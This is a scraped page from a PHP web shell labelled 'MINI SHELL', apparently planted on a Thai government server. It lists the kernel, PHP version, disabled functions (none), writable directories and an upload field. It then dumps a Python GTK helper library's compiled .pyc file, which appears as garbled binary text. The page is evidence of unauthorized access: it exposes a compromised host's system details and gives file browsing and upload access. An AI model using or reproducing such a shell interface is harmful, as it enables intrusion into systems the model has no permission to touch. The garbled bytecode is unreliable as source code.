MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/avahi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/avahi/SimpleGladeApp.pyc
mò
78 Ec@s}dZdkZdkZdkZdkZdkZdkZdkZdkZdZ	dZ
dd„Zdfd„ƒYZ
dS(sŠ
 SimpleGladeApp.py
 Module that provides an object oriented abstraction to pygtk and libglade.
 Copyright (C) 2004 Sandino Flores Moreno
Ns1.0sSandino "tigrux" Flores-MorenocCs”yRdk}dk}|i|idƒtii||ƒ|i	||ddƒWn;t
|ifj
o&}dG|G|GHd„t
id<nXdS(sÍ    
    Bind the domain represented by app_name to the locale directory locale_dir.
    It has the effect of loading translations, enabling applications for different
    languages.

    app_name:
        a domain to look for translations, tipically the name of an application.

    locale_dir:
        a directory with locales like locale_dir/lang_isocode/LC_MESSAGES/app_name.mo
        If omitted or None, then the current binding for app_name is used.
    NttunicodeitWarningcCs|S(N(tx(R((t8/usr/lib/python2.4/site-packages/avahi/SimpleGladeApp.pyt<lambda>8st_(tlocaletgettextt	setlocaletLC_ALLtgtktgladetbindtextdomaintapp_namet
locale_dirtinstalltIOErrortErrortet__builtins__t__dict__(RRRRR((RR
#s		
tSimpleGladeAppcBsÝtZddd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d„Z
d	„Zd
„Zd„Z
d„Zd
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„ZRS(NcKs0tii|ƒo
||_n2tiitidƒ}tii	||ƒ|_x]|iƒD]O\}}yt||ti|ƒƒWq^tj
ot|||ƒq^Xq^Wd|_|i|iƒ|i|i||ƒ|_|o|i|ƒ|_n
d|_|iƒ|i|ƒ|iƒdS(sU
        Load a glade file specified by glade_filename, using root as
        root widget and domain as the domain for translations.

        If it receives extra named arguments (argname=value), then they are used
        as attributes of the instance.

        path:
            path to a glade filename.
            If glade_filename cannot be found, then it will be searched in the
            same directory of the program (sys.argv[0])

        root:
            the name of the widget that is the root of the user interface,
            usually a window or dialog (a top level widget).
            If None or ommited, the full user interface is loaded.

        domain:
            A domain to use for loading translations.
            If None or ommited, no translation is loaded.

        **kwargs:
            a dictionary representing the named extra arguments.
            It is useful to set attributes of new instances, for example:
                glade_app = SimpleGladeApp("ui.glade", foo="some value", bar="another value")
            sets two attributes (foo and bar) to glade_app.
        iN(tostpathtisfiletselft
glade_pathtdirnametsystargvt	glade_dirtjointkwargstitemstkeytvaluetsetattrtweakreftproxyt	TypeErrortNoneRtinstall_custom_handlertcustom_handlertcreate_gladetroottdomaint
get_widgettmain_widgettnormalize_namest
add_callbackstnew(RRR-R.R!RR$R#((Rt__init__=s(

		

cCs\|ii}|io/tii|iƒ}d||i	|f}nd||i	f}|S(Ns%s(path="%s", root="%s")s
%s(path="%s")(Rt	__class__t__name__t
class_nameR0RtWidgettget_nameR-Rtrepr(RR7R-R:((Rt__repr__ns
cCsdS(s­
        Method called when the user interface is loaded and ready to be used.
        At this moment, the widgets are loaded and can be refered as self.widget_name
        N((R((RR3wscCs|ii|ƒdS(sö
        It uses the methods of callbacks_proxy as callbacks.
        The callbacks are specified by using:
            Properties window -> Signals tab
            in glade-2 (or any other gui designer like gazpacho).

        Methods of classes inheriting from SimpleGladeApp are used as
        callbacks automatically.

        callbacks_proxy:
            an instance with methods as code of callbacks.
            It means it has methods like on_button1_clicked, on_entry1_activate, etc.
        N(RRtsignal_autoconnecttcallbacks_proxy(RR=((RR2~s
cCsÜxÕ|iƒD]Ç}tii|ƒ}|idƒ}|d }|d}diti
ti|ƒƒ}tii||ƒt||ƒotd||fƒ‚q
t|||ƒ|otii|d|ƒq
q
WdS(s
        It is internally used to normalize the name of the widgets.
        It means a widget named foo:vbox-dialog in glade
        is refered self.vbox_dialog in the code.

        It also sets a data "prefixes" with the list of
        prefixes a widget has for each widget.
        t:iÿÿÿÿRs'instance %s already has an attribute %stprefixesN(Rtget_widgetstwidgetRR8R9twidget_nametsplittprefixes_name_lR?twidget_api_nameR tretfindallttokenizetNametset_namethasattrtAttributeErrorR%tset_data(RRARDRBR?RE((RR1Žs


csæd‰tˆƒ‰d„}
‡d†}‡d†}ti|ƒ}t
|
|ƒ}
t
||
ƒ}t
t||ƒƒ}xj|iƒD]\}tii|dƒ}|o:x7|D]+}||jo||}||ƒq«q«Wq‚q‚WdS(s2
        By using a gui designer (glade-2, gazpacho, etc)
        widgets can have a prefix in theirs names
        like foo:entry1 or foo:label3
        It means entry1 and label3 has a prefix action named foo.

        Then, prefix_actions_proxy must have a method named prefix_foo which
        is called everytime a widget with prefix foo is found, using the found widget
        as argument.

        prefix_actions_proxy:
            An instance with methods as prefix actions.
            It means it has methods like prefix_foo, prefix_bar, etc.
        tprefix_cCst|dƒS(Ni(tcallablett(RP((RR·scs|diˆƒS(Ni(RPt
startswithtprefix_s(RP(RR(RR¸scs|\}}|ˆ|fS(N(tktwt
prefix_pos(t.0RSRT(RU(RR¹sR?N(RRtlenRUt	is_methodtis_prefix_actiontdrop_prefixtinspectt
getmemberstprefix_actions_proxyt	members_ttfiltert	methods_ttprefix_actions_ttdicttmaptprefix_actions_dRR@RARR8tget_dataR?tprefixt
prefix_action(RR]RARZRaRgRYRdRRRUR`R^R?RXRf((RRRURtadd_prefix_actions¥s&	


c	CsDy&t||ƒ}|||||ƒSWntj
odSnXdS(sq
        Generic handler for creating custom widgets, internally used to
        enable custom widgets (custom widgets of glade).

        The custom widgets have a creation function specified in design time.
        Those creation functions are always called with str1,str2,int1,int2 as
        arguments, that are values specified in design time.

        Methods of classes inheriting from SimpleGladeApp are used as
        creation functions automatically.

        If a custom widget has create_foo as creation function, then the
        method named create_foo is called with str1,str2,int1,int2 as arguments.
        N(
tgetattrRt
function_namethandlertstr1tstr2tint1tint2RLR)(	RRRjRBRlRmRnRoRk((RR+ÈscGs|iƒdS(sh
        Predefined callback.
        The widget is showed.
        Equivalent to widget.show()
        N(RAtshow(RRAtargs((Rtgtk_widget_showßscGs|iƒdS(sh
        Predefined callback.
        The widget is hidden.
        Equivalent to widget.hide()
        N(RAthide(RRARq((Rtgtk_widget_hideçscGs|iƒdS(st
        Predefined callback.
        The widget grabs the focus.
        Equivalent to widget.grab_focus()
        N(RAt
grab_focus(RRARq((Rtgtk_widget_grab_focusïscGs|iƒdS(sn
        Predefined callback.
        The widget is destroyed.
        Equivalent to widget.destroy()
        N(RAtdestroy(RRARq((Rtgtk_widget_destroy÷scGstiƒdS(s
        Predefined callback.
        The default widget of the window is activated.
        Equivalent to window.activate_default()
        N(RAtactivate_default(RtwindowRq((Rtgtk_window_activate_defaultÿscGstS(s‹
        Predefined callback.
        Equivalent to return True in a callback.
        Useful for stopping propagation of signals.
        N(tTrue(RRq((Rtgtk_truescGstS(sX
        Predefined callback.
        Equivalent to return False in a callback.
        N(tFalse(RRq((Rt	gtk_falsescGs|iƒdS(sH
        Predefined callback.
        Equivalent to self.quit()
        N(Rtquit(RRq((Rt
gtk_main_quitscCstiƒdS(s~
        Starts the main loop of processing events.
        The default implementation calls gtk.main()

        Useful for applications that needs a non gtk main loop.
        For example, applications based on gstreamer needs to override
        this method with gst.main()

        Do not directly call this method in your programs.
        Use the method run() instead.
        N(Rtmain(R((RR‚scCstiƒdS(s
        Quit processing events.
        The default implementation calls gtk.main_quit()
        
        Useful for applications that needs a non gtk main loop.
        For example, applications based on gstreamer needs to override
        this method with gst.main_quit()
        N(Rt	main_quit(R((RR€+scCs2y|iƒWntj
o|iƒnXdS(sù
        Starts the main loop of processing events checking for Control-C.

        The default implementation checks wheter a Control-C is pressed,
        then calls on_keyboard_interrupt().

        Use this method for starting programs.
        N(RR‚tKeyboardInterruptton_keyboard_interrupt(R((Rtrun6s
cCsdS(s‰
        This method is called by the default implementation of run()
        after a program is finished by pressing Control-C.
        N((R((RR…DscCstii|ƒdS(N(RRtset_custom_handlerR+(RR+((RR*KscCstii|i||ƒS(N(RRtXMLRRR-R.(RRR-R.((RR,NscCs|ii|ƒS(N(RRR/RB(RRB((RR/QscCs|iidƒS(NR(RRtget_widget_prefix(R((RR@Ts(R6t
__module__R)R4R;R3R2R1RhR+RrRtRvRxR{R}RRR‚R€R†R…R*R,R/R@(((RR;s.1						#																(t__doc__RRRFRHRt	gtk.gladeR&R[t__version__t
__author__R)R
R(R&R[RRRŽRRFRHR
RR((Rt?s								

Anon7 - 2021